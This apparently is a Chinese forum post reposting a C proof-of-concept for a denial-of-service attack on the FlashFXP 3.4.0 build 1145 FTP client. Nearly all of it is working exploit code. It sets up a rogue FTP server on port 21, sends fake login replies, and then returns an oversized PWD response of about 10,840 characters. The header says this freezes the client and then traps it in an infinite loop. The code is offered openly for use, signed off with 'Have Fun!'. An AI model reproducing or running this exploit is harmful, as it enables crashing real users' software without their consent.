发新话题
打印

FlashFXP 3.4.0 build 1145 Remote Buffer Overflow DoS Exploit

FlashFXP 3.4.0 build 1145 Remote Buffer Overflow DoS Exploit

.
复制内容到剪贴板
代码:
/***************************************************************************
*        FlashFXP V 3.4.0 build 1145 Buffer Overflow DoS           *
*                                                  *
*                                                  *
* There's a strange bug in FlashFXP.                          *
* When sending a long PWD command with more than 5420 \ separated by at   *
* least one different char, it is possible to make the app unstable.     *
* It will first freeze during 45s consuming 100% resources, and then, if  *
* the user hits disconnect and then reconnects to the server it will enter *
* in an infinite loop trying to put data on the stack.              *
*                                                  *
*                                                  *
* I admit it is a little bit tricky but maybe someone will find a better  *
* way to exploit this vuln.                                *
*                                                  *
* Have Fun!                                           *
*                                                  *
* Coded by Marsu <[email]Marsupilamipowa@hotmail.fr[/email]>                    *
***************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
  char recvbuff[1024];
  char evilbuff[11000];
  sockaddr_in sin;
  int server,client;
  WSADATA wsaData;
  WSAStartup(MAKEWORD(1,1), &wsaData);

  int n=1;
  while (n<=2)
  {
    server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    sin.sin_family = PF_INET;
    sin.sin_addr.s_addr = htonl(INADDR_ANY);
    sin.sin_port = htons( 21 );
    bind(server,(SOCKADDR*)&sin,sizeof(sin));
    printf("[*] Listening on port 21...\n");
    listen(server,5);
    printf("[*] Waiting for client ...\n");
    client=accept(server,NULL,NULL);
    printf("[+] Client connected\n");


    memcpy(evilbuff,"220 Hello there\r\n\0",18);
    memset(recvbuff,&#39;\0&#39;,1024);

    if (send(client,evilbuff,strlen(evilbuff),0)==-1)
    {
      printf("[-] Error in send!\n");
      exit(-1);
    }

    //USER
    recv(client,recvbuff,1024,0);
    printf("%s", recvbuff);
    memcpy(evilbuff,"331 \r\n\0",7);
    send(client,evilbuff,strlen(evilbuff),0);
    Sleep(50);

    //PASS
    recv(client,recvbuff,1024,0);
    printf("%s", recvbuff);
    memcpy(evilbuff,"230 \r\n\0",7);
    send(client,evilbuff,strlen(evilbuff),0);

    //SYST
    memset(recvbuff,&#39;\0&#39;,1024);
    recv(client,recvbuff,1024,0);
    printf("%s", recvbuff);
    memcpy(evilbuff,"215 WINDOWS\r\n\0",14);
    send(client,evilbuff,strlen(evilbuff),0);

    //FEAT
    recv(client,recvbuff,1024,0);
    printf("%s", recvbuff);
    memcpy(evilbuff,"211 END\r\n\0",10);
    send(client,evilbuff,strlen(evilbuff),0);

    //PWD
    int i=5;
    recv(client,recvbuff,1024,0);
    printf("%s", recvbuff);
    while (i<10840) {
      memset(evilbuff+i,&#39;a&#39;,1);
      i++;
      memset(evilbuff+i,&#39;//&#39;,1);
      i++;
    }
    memcpy(evilbuff,"257 \"",5);
    memcpy(evilbuff+10840,"\"\r\n\0",4);
    send(client,evilbuff,strlen(evilbuff),0);
    closesocket(client);
    closesocket(server);
    client=server=NULL;

    if (n<2) {
      printf("[+] Now FlashFXP is out for 45sec.\n");
      printf("[+] Note that user MUST click on disconnect and then reconnect\n  
  to trigger the bug.\n\n");
    }
    n++;
  }
  Sleep(2000);
  printf("\n[+] FlashFXP must be DoSed\n");
  return 0;
}

TOP

发新话题